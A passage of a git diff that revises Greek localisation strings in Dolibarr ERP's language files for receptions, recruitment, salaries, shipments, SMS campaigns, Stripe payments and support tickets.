υπογράμμισης -DOL_UNDERLINE_DISABLED=Απενεργοποιήση υπογράμμισης -DOL_BEEP=Ήχος μπιπ +DOL_UNDERLINE_DISABLED=Απενεργοποίηση υπογράμμισης +DOL_BEEP=Ήχος beep DOL_BEEP_ALTERNATIVE=Ήχος beep (εναλλακτική λειτουργία) DOL_PRINT_CURR_DATE=Εκτύπωση τρέχουσας ημερομηνίας/ώρας DOL_PRINT_TEXT=Εκτύπωση κειμένου @@ -70,15 +70,15 @@ InvoiceRef=Κωδ. τιμολογίου DOL_PRINT_OBJECT_LINES=Γραμμές τιμολογίου DOL_VALUE_CUSTOMER_FIRSTNAME=Όνομα πελάτη DOL_VALUE_CUSTOMER_LASTNAME=Επώνυμο πελάτη -DOL_VALUE_CUSTOMER_MAIL=Αλληλογραφία πελάτη +DOL_VALUE_CUSTOMER_MAIL=Email πελάτη DOL_VALUE_CUSTOMER_PHONE=Τηλέφωνο πελάτη -DOL_VALUE_CUSTOMER_MOBILE=Πελάτης κινητό -DOL_VALUE_CUSTOMER_SKYPE=Πελάτης Skype -DOL_VALUE_CUSTOMER_TAX_NUMBER=Αριθμός φόρου πελάτη +DOL_VALUE_CUSTOMER_MOBILE=Κινητό τηλέφωνο πελάτη +DOL_VALUE_CUSTOMER_SKYPE=Skype Πελάτη +DOL_VALUE_CUSTOMER_TAX_NUMBER=Α.Φ.Μ. πελάτη DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=Υπόλοιπο λογαριασμού πελάτη -DOL_VALUE_MYSOC_NAME=Το όνομα της εταιρίας σου -VendorLastname=Επώνυμο πωλητή -VendorFirstname=Όνομα πωλητή -VendorEmail=Email πωλητή -DOL_VALUE_CUSTOMER_POINTS=Βαθμοί πελατών -DOL_VALUE_OBJECT_POINTS=Σημεία αντικειμένου +DOL_VALUE_MYSOC_NAME=Το όνομα της εταιρίας σας +VendorLastname=Επώνυμο προμηθευτή +VendorFirstname=Όνομα προμηθευτή +VendorEmail=Email προμηθευτή +DOL_VALUE_CUSTOMER_POINTS=Πόντοι πελατών +DOL_VALUE_OBJECT_POINTS=Πόντοι αντικειμένου diff --git a/htdocs/langs/el_GR/receptions.lang b/htdocs/langs/el_GR/receptions.lang index 62ac251faf0..5f0199a5170 100644 --- a/htdocs/langs/el_GR/receptions.lang +++ b/htdocs/langs/el_GR/receptions.lang @@ -31,7 +31,8 @@ StatusReceptionProcessed=Διενεργήθηκε StatusReceptionDraftShort=Προσχέδιο StatusReceptionValidatedShort=Επικυρώθηκε StatusReceptionProcessedShort=Διενεργήθηκε -ReceptionSheet=Κατάσταση παραλαβής +ReceptionSheet=Δελτίο παραλαβής +ValidateReception=Επικύρωση παραλαβής ConfirmDeleteReception=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτή την παραλαβή; ConfirmValidateReception=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτή την παραλαβή με αναφορά %s ; ConfirmCancelReception=Είστε σίγουροι ότι θέλετε να ακυρώσετε αυτή την παραλαβή; @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Ενότητα αρίθμησης για παραλα ReceptionsReceiptModel=Πρότυπα εγγράφων για παραλαβές NoMorePredefinedProductToDispatch=Δεν υπάρχουν άλλα προκαθορισμένα προϊόντα για αποστολή ReceptionExist=Υπάρχει ήδη μια παραλαβή -ByingPrice=Τιμή αγοράς ReceptionBackToDraftInDolibarr=Επιστροφή σε προσχέδιο της παραλαβής %s ReceptionClassifyClosedInDolibarr=Η παραλαβή %s ταξινομήθηκε ως Κλειστή ReceptionUnClassifyCloseddInDolibarr=Άνοιγμα ξανά της παραλαβής %s diff --git a/htdocs/langs/el_GR/recruitment.lang b/htdocs/langs/el_GR/recruitment.lang index 7beef9ffe88..bdd6b57ced1 100644 --- a/htdocs/langs/el_GR/recruitment.lang +++ b/htdocs/langs/el_GR/recruitment.lang @@ -27,7 +27,7 @@ ModuleRecruitmentDesc = Διαχειριστείτε και παρακολουθ # RecruitmentSetup = Ρύθμιση προσλήψεων Settings = Ρυθμίσεις -RecruitmentSetupPage = Εισαγάγετε εδώ τη ρύθμιση των κύριων επιλογών για τη μονάδα προσλήψεων +RecruitmentSetupPage = Εισαγάγετε εδώ τη ρύθμιση των κύριων επιλογών για την ενότητα προσλήψεων RecruitmentArea=Περιοχή προσλήψεων PublicInterfaceRecruitmentDesc=Οι δημόσιες σελίδες θέσεων εργασίας είναι δημόσιες διευθύνσεις URL για εμφάνιση και απάντηση σε ανοιχτές θέσεις εργασίας. Υπάρχει ένας διαφορετικός σύνδεσμος για κάθε ανοιχτή θέση εργασίας, που βρίσκεται σε κάθε εγγραφή εργασίας. EnablePublicRecruitmentPages=Ενεργοποίηση δημόσιων σελίδων ανοιχτών θέσεων εργασίας @@ -35,7 +35,7 @@ EnablePublicRecruitmentPages=Ενεργοποίηση δημόσιων σελί # # About page # -About = Πληροφορίες +About = Σχετικά με RecruitmentAbout = Σχετικά με τις προσλήψεις RecruitmentAboutPage = Σελίδα σχετικά με τις Προσλήψεις NbOfEmployeesExpected=Προσδοκώμενο νούμερο εργαζομένων @@ -44,7 +44,7 @@ WorkPlace=Χώρος Εργασίας DateExpected=Αναμενόμενη ημερομηνία FutureManager=Μελλοντικός μάνατζερ ResponsibleOfRecruitement=Υπεύθυνος προσλήψεων -IfJobIsLocatedAtAPartner=Εάν η εργασία βρίσκεται σε μερος συνεργάτη +IfJobIsLocatedAtAPartner=Εάν η εργασία βρίσκεται σε χώρο συνεργάτη PositionToBeFilled=Θέση εργασίας PositionsToBeFilled=Θέσεις εργασίας ListOfPositionsToBeFilled=Κατάλογος θέσεων εργασίας @@ -57,15 +57,16 @@ EmailRecruiter=Εmail υπεύθυνου προσλήψεων ToUseAGenericEmail=Για να χρησιμοποιήσετε ένα γενικό email. Εάν δεν έχει οριστεί, θα χρησιμοποιηθεί το email του υπεύθυνου πρόσληψης NewCandidature=Νέα αίτηση ListOfCandidatures=Λίστα αιτήσεων -RequestedRemuneration=Ζητούμενη αμοιβή -ProposedRemuneration=Προτεινόμενη αμοιβή +Remuneration=Μισθός +RequestedRemuneration=Ζητούμενος μισθός +ProposedRemuneration=Προτεινόμενος μισθός ContractProposed=Προτεινόμενη σύμβαση ContractSigned=Υπογεγραμμένη σύμβαση ContractRefused=Η σύμβαση απορρίφθηκε RecruitmentCandidature=Αίτηση JobPositions=Θέσεις εργασίας RecruitmentCandidatures=Αιτήσεις -InterviewToDo=Συνέντευξη για να γίνει +InterviewToDo=Επαφές για παρακολούθηση AnswerCandidature=Απάντηση αίτησης YourCandidature=Η αίτηση σου YourCandidatureAnswerMessage=Σας ευχαριστούμε για την αίτηση σας.
      ... diff --git a/htdocs/langs/el_GR/salaries.lang b/htdocs/langs/el_GR/salaries.lang index 5e7cc1a9d6c..e01b40477b3 100644 --- a/htdocs/langs/el_GR/salaries.lang +++ b/htdocs/langs/el_GR/salaries.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Λογαριασμός λογιστικής που χρησιμοποιείται για τρίτους χρήστες -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Ο αποκλειστικός λογαριασμός λογιστικής που ορίζεται στην κάρτα χρήστη θα χρησιμοποιηθεί μόνο για τη λογιστική της Subledger. Αυτός θα χρησιμοποιηθεί για το γενικό βιβλίο και ως προεπιλεγμένη τιμή της λογιστικής Subledger εάν δεν έχει καθοριστεί ο λογαριασμός λογιστικής για τον χρήστη. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Λογαριασμός λογαριασμού από προεπιλογή για πληρωμές μισθών +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Λογαριασμός (από το λογιστικό σχέδιο) που χρησιμοποιείται από προεπιλογή για τρίτους "χρήστες". +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Ο αποκλειστικός λογαριασμός λογιστικής που ορίζεται στην κάρτα χρήστη θα χρησιμοποιηθεί μόνο για τη λογιστική του Βοηθητικού καθολικού. Αυτός θα χρησιμοποιηθεί για το Γενικό Καθολικό και ως προεπιλεγμένη τιμή της λογιστικής του Βοηθητικού καθολικού εάν δεν έχει καθοριστεί ο λογαριασμός λογιστικής για τον χρήστη. +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Προεπιλεγμένος λογαριασμός λογιστικής για πληρωμές μισθών CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Από προεπιλογή, αφήστε κενή την επιλογή "Αυτόματη δημιουργία συνολικής πληρωμής" κατά τη δημιουργία ενός Μισθού Salary=Mισθός Salaries=Μισθοί NewSalary=Νέος μισθός AddSalary=Προσθήκη μισθού -NewSalaryPayment=Νέα καρτέλα μισθού +NewSalaryPayment=Καρτέλα νέου μισθού AddSalaryPayment=Προσθήκη πληρωμής μισθοδοσίας SalaryPayment=Μισθός SalariesPayments=Πληρωμές μισθών @@ -15,13 +15,13 @@ SalariesPaymentsOf=Πληρωμές μισθών του %s ShowSalaryPayment=Εμφάνιση μισθοδοσίας THM=Μέση ωριαία τιμή TJM=Μέση ημερήσια τιμή -CurrentSalary=Τρέχον μισθός -THMDescription=Αυτή η τιμή μπορεί να χρησιμοποιηθεί για τον υπολογισμό του κόστους του χρόνου που καταναλώνεται σε ένα έργο που εισήχθησαν από τους χρήστες, εάν χρησιμοποιείται το project module -TJMDescription=Αυτή η τιμή είναι προς ενημέρωση μόνο και δεν χρησιμοποιείται για υπολογισμό +CurrentSalary= Τρέχων μισθός +THMDescription=Αυτή η τιμή μπορεί να χρησιμοποιηθεί για τον υπολογισμό του κόστους του χρόνου που καταναλώνεται σε ένα έργο που εισήχθη από τους χρήστες, εάν χρησιμοποιείται η ενότητα project +TJMDescription=Αυτή η τιμή είναι προς το παρόν ενημερωτική μόνο και δεν χρησιμοποιείται για κανέναν υπολογισμό LastSalaries=Τελευταίοι %sμισθοί AllSalaries=Όλοι οι μισθοί SalariesStatistics=Στατιστικά στοιχεία μισθών SalariesAndPayments=Μισθοί και πληρωμές ConfirmDeleteSalaryPayment=Θέλετε να διαγράψετε αυτήν την πληρωμή μισθού; -FillFieldFirst=Συμπληρώστε το πεδίο υπαλλήλου πρώτα  +FillFieldFirst=Συμπληρώστε το πεδίο υπαλλήλου πρώτα UpdateAmountWithLastSalary=Καθορίστε το ποσό βάσει του τελευταίου μισθού diff --git a/htdocs/langs/el_GR/sendings.lang b/htdocs/langs/el_GR/sendings.lang index df8e0a2746d..033f3f3c63c 100644 --- a/htdocs/langs/el_GR/sendings.lang +++ b/htdocs/langs/el_GR/sendings.lang @@ -37,19 +37,19 @@ StatusSendingProcessed=Σε εξέλιξη StatusSendingDraftShort=Προσχέδιο StatusSendingValidatedShort=Επικυρωμένη StatusSendingProcessedShort=Σε εξέλιξη -SendingSheet=Φύλλο αποστολής +SendingSheet=Δελτίο αποστολής ConfirmDeleteSending=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν την αποστολή; ConfirmValidateSending=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτήν την αποστολή με αναφορά %s ? ConfirmCancelSending=Είστε σίγουροι ότι θέλετε να ακυρώσετε αυτήν την αποστολή; -DocumentModelMerou=Μοντέλο Mérou A5 +DocumentModelMerou=Υπόδειγμα Mérou A5 WarningNoQtyLeftToSend=Προειδοποίηση, κανένα προϊόν δεν ειναι σε αναμονή για αποστολή. StatsOnShipmentsOnlyValidated=Τα στατιστικά αφορούν μόνο επικυρωμένες αποστολές. Η ημερομηνία που χρησιμοποιείται είναι η ημερομηνία επικύρωσης της αποστολής (η προγραμματισμένη ημερομηνία παράδοσης δεν είναι πάντα γνωστή) DateDeliveryPlanned=Προγραμματισμένη ημερομηνία παράδοσης -RefDeliveryReceipt=Παραλαβή παράδοσης αναφοράς -StatusReceipt=Κατάσταση παραλαβής κατάστασης -DateReceived=Παράδοση Ημερομηνία παραλαβής +RefDeliveryReceipt=Αναφορά παράδοσης παραλαβής +StatusReceipt=Κατάσταση παράδοσης παραλαβής +DateReceived=Ημερομηνία παραλαβής παράδοσης ClassifyReception=Ταξινόμηση παραλαβής -SendShippingByEMail=Αποστολή αποστολής μέσω ηλεκτρονικού ταχυδρομείου +SendShippingByEMail=Αποστολή "αποστολής" με email SendShippingRef=Υποβολή της αποστολής %s ActionsOnShipping=Ενέργειες κατά την αποστολή LinkToTrackYourPackage=Σύνδεσμος για να παρακολουθείτε το πακέτο σας @@ -66,7 +66,7 @@ ValidateOrderFirstBeforeShipment=Θα πρέπει πρώτα να επικυρ # Sending methods # ModelDocument DocumentModelTyphon=Πληρέστερο πρότυπο έγγραφο για αποδεικτικά παράδοσης (logo. ..) -DocumentModelStorm=Πληρέστερο πρότυπο έγγραφο για αποδεικτικά παράδοσης και συμβατότητα με επιπλέον πεδία (λογότυπο...) +DocumentModelStorm=Πληρέστερο υπόδειγμα εγγράφου για αποδεικτικά παράδοσης και συμβατότητα με επιπλέον πεδία (λογότυπο...) Error_EXPEDITION_ADDON_NUMBER_NotDefined=Η σταθερά EXPEDITION_ADDON_NUMBER δεν έχει οριστεί SumOfProductVolumes=Άθροισμα όγκου του προϊόντος SumOfProductWeights=Άθροισμα βάρους προϊόντων diff --git a/htdocs/langs/el_GR/sms.lang b/htdocs/langs/el_GR/sms.lang index 21df53febec..d91cdbb6876 100644 --- a/htdocs/langs/el_GR/sms.lang +++ b/htdocs/langs/el_GR/sms.lang @@ -1,51 +1,51 @@ # Dolibarr language file - Source file is en_US - sms Sms=Sms -SmsSetup=Sms ρύθμιση -SmsDesc=Αυτή η σελίδα σας επιτρέπει να ορίσετε γενικές επιλογές σε SMS χαρακτηριστικά +SmsSetup=Ρύθμιση SMS +SmsDesc=Αυτή η σελίδα σάς επιτρέπει να ορίσετε καθολικές επιλογές στις λειτουργίες SMS SmsCard=SMS Κάρτα AllSms=Όλες οι καμπάνιες SMS -SmsTargets=Στόχοι -SmsRecipients=Στόχοι -SmsRecipient=Στόχος +SmsTargets=Παραλήπτες +SmsRecipients=Παραλήπτες +SmsRecipient=Παραλήπτης SmsTitle=Περιγραφή SmsFrom=Αποστολέας -SmsTo=Στόχος +SmsTo=Παραλήπτης SmsTopic=Θέμα του SMS SmsText=Μήνυμα SmsMessage=Μήνυμα SMS -ShowSms=Εμφάνιση Sms -ListOfSms=Λίστα καμπανιών SMS +ShowSms=Εμφάνιση SMS +ListOfSms=Λίστα με καμπάνιες SMS NewSms=Νέα καμπάνια SMS -EditSms=Επεξεργασία Sms +EditSms=Επεξεργασία SMS ResetSms=Νέα αποστολή -DeleteSms=Διαγραφή εκστρατείας Sms -DeleteASms=Αφαιρέστε μια εκστρατεία Sms -PreviewSms=Προεπισκόπηση Sms -PrepareSms=Ετοιμάστε Sms -CreateSms=Δημιουργία Sms -SmsResult=Αποτέλεσμα της αποστολής sms -TestSms=Δοκιμή Sms -ValidSms=Επικύρωση Sms -ApproveSms=Έγκριση Sms -SmsStatusDraft=Σχέδιο -SmsStatusValidated=Επικυρωμένη +DeleteSms=Διαγραφή καμπάνιας SMS +DeleteASms=Καταργήστε μια καμπάνια SMS +PreviewSms=Προεπισκόπηση SMS +PrepareSms=Προετοιμασία SMS +CreateSms=Δημιουργία SMS +SmsResult=Αποτέλεσμα αποστολής SMS +TestSms=Δοκιμή SMS +ValidSms=Επικύρωση SMS +ApproveSms=Έγκριση SMS +SmsStatusDraft=Προσχέδιο +SmsStatusValidated=Επικυρωμένο SmsStatusApproved=Εγκεκριμένο SmsStatusSent=Εστάλη SmsStatusSentPartialy=Μερικώς απεσταλμένα -SmsStatusSentCompletely=Εντελώς απεσταλμένα +SmsStatusSentCompletely=Επιτυχώς απεσταλμένα SmsStatusError=Σφάλμα -SmsStatusNotSent=Δεν αποστέλλεται -SmsSuccessfulySent=Έστειλε σωστά Sms (από %s να %s) -ErrorSmsRecipientIsEmpty=Ο αριθμός στόχου είναι άδειος -WarningNoSmsAdded=Κανένα νέο αριθμό τηλεφώνου για να προσθέσετε στη λίστα στόχων -ConfirmValidSms=Επιβεβαιώνετε την εγκυρότητα αυτής της καμπάνιας; -NbOfUniqueSms=Nb DOF μοναδικούς αριθμούς τηλεφώνου -NbOfSms=Nbre του phon αριθμούς +SmsStatusNotSent=Δεν εστάλη +SmsSuccessfulySent=Το SMS στάλθηκε σωστά (από %s σε %s) +ErrorSmsRecipientIsEmpty=Ο αριθμός στόχου είναι κενός +WarningNoSmsAdded=Κανένας νέος αριθμός τηλεφώνου για να προσθέσετε στη λίστα στόχων +ConfirmValidSms=Επιβεβαιώνετε την επικύρωση αυτής της καμπάνιας; +NbOfUniqueSms=Νούμερο μοναδικών τηλεφωνικών αριθμών +NbOfSms=Νούμερο Αριθμών τηλεφώνου ThisIsATestMessage=Αυτό είναι ένα δοκιμαστικό μήνυμα SendSms=Αποστολή SMS -SmsInfoCharRemain=Αρ. υπόλοιπων χαρακτήρων -SmsInfoNumero= (Μορφή διεθνούς δηλαδή: +308997017610) +SmsInfoCharRemain=Αριθμός χαρακτήρων που υπολείπονται +SmsInfoNumero= (διεθνής μορφή π.χ. .: +33899701761) DelayBeforeSending=Καθυστέρηση πριν από την αποστολή (λεπτά) -SmsNoPossibleSenderFound=Δεν υπάρχει αποστολέας. Ελέξτε τις ρυθμίσεις από τον πάροχο των SMS -SmsNoPossibleRecipientFound=Δεν υπάρχει στόχος. Ελέγξτε την εγκατάσταση του SMS του παροχέα σας. -DisableStopIfSupported=Disable STOP message (if supported) +SmsNoPossibleSenderFound=Δεν υπάρχει αποστολέας. Ελέγξτε τις ρυθμίσεις του παρόχου SMS +SmsNoPossibleRecipientFound=Δεν υπάρχει διαθέσιμος παραλήπτης. Ελέγξτε τις ρυθμίσεις του παρόχου SMS +DisableStopIfSupported=Απενεργοποίηση μηνύματος STOP (αν υποστηρίζεται) diff --git a/htdocs/langs/el_GR/stripe.lang b/htdocs/langs/el_GR/stripe.lang index 8cd53bcd79e..6e926b238b0 100644 --- a/htdocs/langs/el_GR/stripe.lang +++ b/htdocs/langs/el_GR/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live key ONLINE_PAYMENT_WAREHOUSE=Απόθεμα προς χρήση για μείωση αποθεμάτων όταν πραγματοποιείται η ηλεκτρονική πληρωμή
      (TODO Όταν η επιλογή μείωσης αποθεμάτων γίνεται σε μια ενέργεια στο τιμολόγιο και η ηλεκτρονική πληρωμή δημιουργεί από μόνη της το τιμολόγιο;) StripeLiveEnabled=Η λειτουργία Stripe live είναι ενεργοποιημένη (διαφορετικά η λειτουργία test / sandbox) StripeImportPayment=Εισαγωγή πληρωμών Stripe -ExampleOfTestCreditCard=Παράδειγμα πιστωτικής κάρτας για δοκιμή: %s => έγκυρο, %s => σφάλμα CVC, %s => έληξε, %s => η χρέωση αποτυγχάνει +ExampleOfTestCreditCard=Παράδειγμα πιστωτικής κάρτας για δοκιμή SEPA: %s => έγκυρο, %s => σφάλμα CVC, %s => έληξε, %s => η χρέωση αποτυγχάνει +ExampleOfTestBankAcountForSEPA=Παράδειγμα BAN τραπεζικού λογαριασμού για δοκιμή πάγιας εντολής: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Το αναγνωριστικό πελάτη Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Το αναγνωριστικό πελάτη Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Διαγραφή κάρτας ConfirmDeleteCard=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν την πιστωτική ή χρεωστική κάρτα; CreateCustomerOnStripe=Δημιουργία πελάτη στο Stripe CreateCardOnStripe=Δημιουργία κάρτας στο Stripe +CreateBANOnStripe=Δημιουργία τράπεζας στο Stripe ShowInStripe=Εμφάνιση στο Stripe StripeUserAccountForActions=Λογαριασμός χρήστη που θα χρησιμοποιηθεί για την ειδοποίηση μέσω ηλεκτρονικού ταχυδρομείου ορισμένων ενεργειών Stripe (πληρωμές Stripe) StripePayoutList=Λίστα των πληρωμών Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Σύνδεσμος για τη ρύθμιση του PaymentWillBeRecordedForNextPeriod=Η πληρωμή θα καταγραφεί για την επόμενη περίοδο. ClickHereToTryAgain=Κάντε κλικ εδώ για να δοκιμάσετε ξανά ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Λόγω των κανόνων ισχυρού ελέγχου ταυτότητας πελατών, η δημιουργία κάρτας πρέπει να γίνει από την Stripe. Μπορείτε να κάνετε κλικ εδώ για να ενεργοποιήσετε την εγγραφή πελατών Stripe: %s -TERMINAL_LOCATION=Τοποθεσία (διεύθυνση) για τερματικά +STRIPE_CARD_PRESENT=Δώροκάρτα για τερματικά Stripe +TERMINAL_LOCATION=Τοποθεσία (διεύθυνση) για Stripe Terminals +RequestDirectDebitWithStripe=Άμεση Χρέωση με Stripe +STRIPE_SEPA_DIRECT_DEBIT=Ενεργοποιήστε τις πληρωμές άμεσης χρέωσης μέσω Stripe + diff --git a/htdocs/langs/el_GR/ticket.lang b/htdocs/langs/el_GR/ticket.lang index 46cca1c2e7e..69ca78e5a47 100644 --- a/htdocs/langs/el_GR/ticket.lang +++ b/htdocs/langs/el_GR/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Τροποποίηση tickets Permission56003=Διαγραφή tickets Permission56004=Διαχείριση tickets Permission56005=Δείτε τα tickets όλων των τρίτων (δεν ισχύει για εξωτερικούς χρήστες, πάντα περιορίζονται στο τρίτο μέρος από το οποίο εξαρτώνται) +Permission56006=Εξαγωγή των tickets +Tickets=Tickets TicketDictType=Ticket - Τύποι TicketDictCategory=Ticket - Ομάδες TicketDictSeverity=Ticket - Κρισιμότητα @@ -52,20 +54,22 @@ MenuTicketMyAssign=Τα tickets μου MenuTicketMyAssignNonClosed=Τα ανοιχτά tickets μου MenuListNonClosed=Ανοιχτά tickets -TypeContact_ticket_internal_CONTRIBUTOR=Συνεισφέρων -TypeContact_ticket_internal_SUPPORTTEC=Χρήστης σε ανάθεση +TypeContact_ticket_internal_CONTRIBUTOR=Συνεργάτης +TypeContact_ticket_internal_SUPPORTTEC=Ανατεθειμένος χρήστης TypeContact_ticket_external_SUPPORTCLI=Επαφή πελάτη / παρακολούθηση συμβάντος -TypeContact_ticket_external_CONTRIBUTOR=Εξωτερικός συνεισφέρων +TypeContact_ticket_external_CONTRIBUTOR=Εξωτερικός συνεργάτης -OriginEmail=Αναφερόμενο Email +OriginEmail=Email πελάτη που άνοιξε το ticket Notify_TICKET_SENTBYMAIL=Στείλτε μήνυμα ticket μέσω email +ExportDataset_ticket_1=Tickets + # Status Read=Έχει αναγνωστεί Assigned=Έχει ανατεθεί InProgress=Σε εξέλιξη -NeedMoreInformation=Σε αναμονή feedback από τον δημιουργό -NeedMoreInformationShort=Σε αναμονή feedback +NeedMoreInformation=Σε αναμονή περισσότερων πληροφοριών από τον χρήστη που άνοιξε το ticket +NeedMoreInformationShort=Σε αναμονή περισσότερων πληροφοριών Answered=Απαντήθηκε Waiting=Σε αναμονή SolvedClosed=Επιλύθηκε @@ -83,12 +87,12 @@ MailToSendTicketMessage=Για να στείλετε email από το μήνυ # # Admin page # -TicketSetup=Ρύθμιση μονάδας ticket +TicketSetup=Ρύθμιση ενότητας ticket TicketSettings=Ρυθμίσεις TicketSetupPage= -TicketPublicAccess=Μια δημόσια διεπαφή που δεν απαιτεί αναγνώριση είναι διαθέσιμη στην παρακάτω διεύθυνση URL +TicketPublicAccess=Μια δημόσια διεπαφή χωρίς υποχρέωση σύνδεσης είναι διαθέσιμη στην παρακάτω διεύθυνση URL TicketSetupDictionaries=Ο τύπος του ticket, ο βαθμός σοβαρότητας και οι αναλυτικοί κωδικοί ρυθμίζονται από λεξικά -TicketParamModule=Ρύθμιση μεταβλητής μονάδας +TicketParamModule=Ρύθμιση μεταβλητών ενότητας TicketParamMail=Ρύθμιση email TicketEmailNotificationFrom=E-mail αποστολέα για ειδοποίηση σχετικά με τις απαντήσεις TicketEmailNotificationFromHelp=E-mail αποστολέα που θα χρησιμοποιηθεί για την αποστολή του email ειδοποίησης όταν μια απάντηση παρέχεται από την υποστήριξη. Για παράδειγμα noreply@example.com @@ -97,13 +101,13 @@ TicketEmailNotificationToHelp=Εάν υπάρχει, αυτή η διεύθυν TicketNewEmailBodyLabel=Μήνυμα κειμένου που αποστέλλεται μετά τη δημιουργία ενός ticket TicketNewEmailBodyHelp=Το κείμενο που καθορίζεται εδώ θα εισαχθεί στο μήνυμα ηλεκτρονικού ταχυδρομείου που επιβεβαιώνει τη δημιουργία νέου ticket από το δημόσιο περιβάλλον. Οι πληροφορίες σχετικά με τη διαβούλευση με το ticket προστίθενται αυτόματα. TicketParamPublicInterface=Ρύθμιση δημόσιας διεπαφής -TicketsEmailMustExist=Απαιτείται μια υπάρχουσα διεύθυνση email για να δημιουργήσετε ένα εισιτήριο +TicketsEmailMustExist=Απαιτείται μια υπάρχουσα διεύθυνση email για να δημιουργήσετε ένα ticket TicketsEmailMustExistHelp=Στη δημόσια διεπαφή, η διεύθυνση email θα πρέπει να έχει ήδη συμπληρωθεί στη βάση δεδομένων για να δημιουργηθεί ένα νέο ticket. TicketCreateThirdPartyWithContactIfNotExist=Ζητήστε όνομα και όνομα εταιρείας για άγνωστα email. TicketCreateThirdPartyWithContactIfNotExistHelp=Ελέγξτε εάν υπάρχει τρίτο μέρος ή επαφή για το email που καταχωρίσατε. Εάν όχι, ζητήστε ένα όνομα και ένα όνομα εταιρείας για να δημιουργήσετε ένα τρίτο μέρος με επαφή. PublicInterface=Δημόσια διεπαφή TicketUrlPublicInterfaceLabelAdmin=Εναλλακτική διεύθυνση URL για δημόσια διεπαφή -TicketUrlPublicInterfaceHelpAdmin=Είναι δυνατόν να ορίσετε ένα ψευδώνυμο στον διακομιστή ιστού και έτσι να διαθέσετε τη δημόσια διασύνδεση με μια άλλη διεύθυνση URL (ο διακομιστής πρέπει να ενεργεί ως διακομιστής μεσολάβησης σε αυτήν τη νέα διεύθυνση URL) +TicketUrlPublicInterfaceHelpAdmin=Είναι δυνατόν να ορίσετε ένα ψευδώνυμο(alias) στον διακομιστή ιστού και έτσι να διαθέσετε τη δημόσια διεπαφή με μια άλλη διεύθυνση URL (ο διακομιστής πρέπει να ενεργεί ως διακομιστής μεσολάβησης(proxy) σε αυτήν τη νέα διεύθυνση URL) TicketPublicInterfaceTextHomeLabelAdmin=Κείμενο καλωσορίσματος της δημόσιας διεπαφής TicketPublicInterfaceTextHome=Μπορείτε να δημιουργήσετε ένα ticket υποστήριξης ή να προβάλετε ένα υπάρχον από το αναγνωριστικό παρακολούθησης ticket. TicketPublicInterfaceTextHomeHelpAdmin=Το κείμενο που ορίζεται εδώ θα εμφανιστεί στην αρχική σελίδα της δημόσιας διεπαφής. @@ -112,14 +116,14 @@ TicketPublicInterfaceTopicHelp=Αυτό το κείμενο θα εμφανισ TicketPublicInterfaceTextHelpMessageLabelAdmin=Βοήθεια κειμένου στην καταχώρηση μηνύματος TicketPublicInterfaceTextHelpMessageHelpAdmin=Αυτό το κείμενο θα εμφανιστεί πάνω από την περιοχή εισαγωγής μηνυμάτων του χρήστη. ExtraFieldsTicket=Επιπλέον χαρακτηριστικά -TicketCkEditorEmailNotActivated=Ο επεξεργαστής HTML δεν είναι ενεργοποιημένος. Καταχωρίστε το περιεχόμενο FCKEDITOR_ENABLE_MAIL σε 1 για να το αποκτήσετε. -TicketsDisableEmail=Μην αποστέλλετε μηνύματα ηλεκτρονικού ταχυδρομείου για τη δημιουργία εισιτηρίων ή την εγγραφή μηνυμάτων -TicketsDisableEmailHelp=Από προεπιλογή, αποστέλλονται μηνύματα ηλεκτρονικού ταχυδρομείου όταν δημιουργούνται νέα εισιτήρια ή μηνύματα. Ενεργοποιήστε αυτήν την επιλογή για να απενεργοποιήσετε *όλες τις * ειδοποιήσεις ηλεκτρονικού ταχυδρομείου +TicketCkEditorEmailNotActivated=Ο επεξεργαστής HTML δεν είναι ενεργοποιημένος. Βάλτε το FCKEDITOR_ENABLE_MAIL σε 1 για να τον ενεργοποιήσετε +TicketsDisableEmail=Μην αποστέλλετε μηνύματα ηλεκτρονικού ταχυδρομείου για τη δημιουργία ticket ή την εγγραφή μηνυμάτων +TicketsDisableEmailHelp=Από προεπιλογή, αποστέλλονται μηνύματα ηλεκτρονικού ταχυδρομείου όταν δημιουργούνται νέα tickets ή μηνύματα. Ενεργοποιήστε αυτήν την επιλογή για να απενεργοποιήσετε *όλες τις * ειδοποιήσεις ηλεκτρονικού ταχυδρομείου TicketsLogEnableEmail=Ενεργοποίηση καταγραφής μέσω email TicketsLogEnableEmailHelp=Σε κάθε αλλαγή, θα σταλεί ένα μήνυμα ηλεκτρονικού ταχυδρομείου ** σε κάθε επαφή ** που σχετίζεται με το ticket. TicketParams=Παράμετροι TicketsShowModuleLogo=Εμφανίστε το λογότυπο της ενότητας στη δημόσια διεπαφή -TicketsShowModuleLogoHelp=Ενεργοποιήστε αυτήν την επιλογή για να αποκρύψετε τη λειτουργική μονάδα λογότυπου στις σελίδες της δημόσιας διασύνδεσης +TicketsShowModuleLogoHelp=Ενεργοποιήστε αυτήν την επιλογή για να αποκρύψετε την ενότητα λογότυπου στις σελίδες της δημόσιας διεπαφής TicketsShowCompanyLogo=Εμφανίστε το λογότυπο της εταιρείας στη δημόσια διεπαφή TicketsShowCompanyLogoHelp=Ενεργοποιήστε αυτήν την επιλογή για να αποκρύψετε το λογότυπο της κύριας εταιρείας στις σελίδες της δημόσιας διεπαφής TicketsEmailAlsoSendToMainAddress=Στείλτε επίσης μια ειδοποίηση στην κύρια διεύθυνση email @@ 